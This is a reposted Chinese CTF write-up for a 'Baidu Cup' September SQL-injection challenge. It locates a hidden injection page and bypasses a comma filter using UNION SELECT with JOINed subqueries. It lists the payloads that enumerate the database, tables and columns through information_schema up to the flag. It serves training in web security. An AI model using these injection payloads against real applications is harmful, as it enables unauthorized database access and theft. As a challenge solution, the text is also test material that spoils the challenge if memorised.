“百度杯”CTF比赛 九月场SQLi
转载自:csdn原创:莫者
题目链接:https://www.ichunqiu.com/battalion
点击进去,查看源代码
发现login.php?id=1,一般是存在sql注入的
查看了官方wp,说是存在index.php,并在其header头有真正的注入点
在index.php请求进行301重定向,明显发现上面的链接只差一个字母,我的是直接看到注入点l0gin.php?id=1。不能直接看到的要在header请求b68a89d1c4a097a9d863lb3ac45e8979.php
来到正确的注入页面
发现一个部分的表图 ,从表的结构可以知道字段为2
单引号检测,直接查询报错
那就 ' order by 1,2#
直接过滤了逗号后面的语句,并且id回显的是过滤后的语句
百度一波,逗号绕过注入
join 绕过
构造语句:1' union select * from (select 1) a join (select 2 ) b %23
发现回显正常,照上面分析,id会回显过滤后的sql语句(1' union select * from (select 1) a join (select 2 ) b %23)才对
这里没有回显,说明注入语句执行成功,因为是联合查询,union 前后的两个注入语句都是执行成功的。而这里第一个执行的结果输出了,以致第二个sql查询结果无法显示出来。
那我们可以让第一个结果执行为空,第二个就可以显示出来了
id=3的时候,username是空的 直接构造语句:3' union select * from (select 1) a join (select 2 ) b %23 正常回显查询的字段 现在查询数据库 3' union select * from (select 1) a join (select database() ) b %23 查询表 3' union select * from (select 1) a join (select table_name from information_schema.tables where table_schema='sqli' ) b %23 得到user表(不贴图) 查询列 3' union select * from (select 1) a join (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users' ) b # (这里连接字符函数换成limit也可以,不过照样的绕过逗号) 查询字段 get flag
原文链接:https://blog.csdn.net/weixin_40709439/article/details/82027422
|